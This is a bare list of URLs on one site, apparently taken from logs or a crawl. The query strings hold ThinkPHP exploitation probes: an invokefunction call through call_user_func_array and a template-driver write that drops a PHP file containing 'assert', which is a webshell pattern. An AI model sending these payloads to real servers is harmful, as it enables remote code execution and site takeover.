http://www.printfeed.net/?cacheFile=ujzwa.php&content=%3C%3Fphp
http://www.printfeed.net/?function=call_user_func_array&s=/index/%5Cthink%5Capp/invokefunction&vars%5B0%5D=md5&vars%5B1%5D%5B%5D=HelloThinkPHP
http://www.printfeed.net/?feed=//
http://www.printfeed.net/?base64
http://www.printfeed.net/?file=data
http://www.printfeed.net/?s=index/%5Cthink%5Ctemplate%5Cdriver%5Cfile/write&cacheFile=ujzwa.php&content=%3C?php%20assert
http://www.printfeed.net/?cacheFile=ujzwa.php&content=%3C%3Fphp+assert&s=index%2F%5Cthink%5Ctemplate%5Cdriver%5Cfile%2Fwrite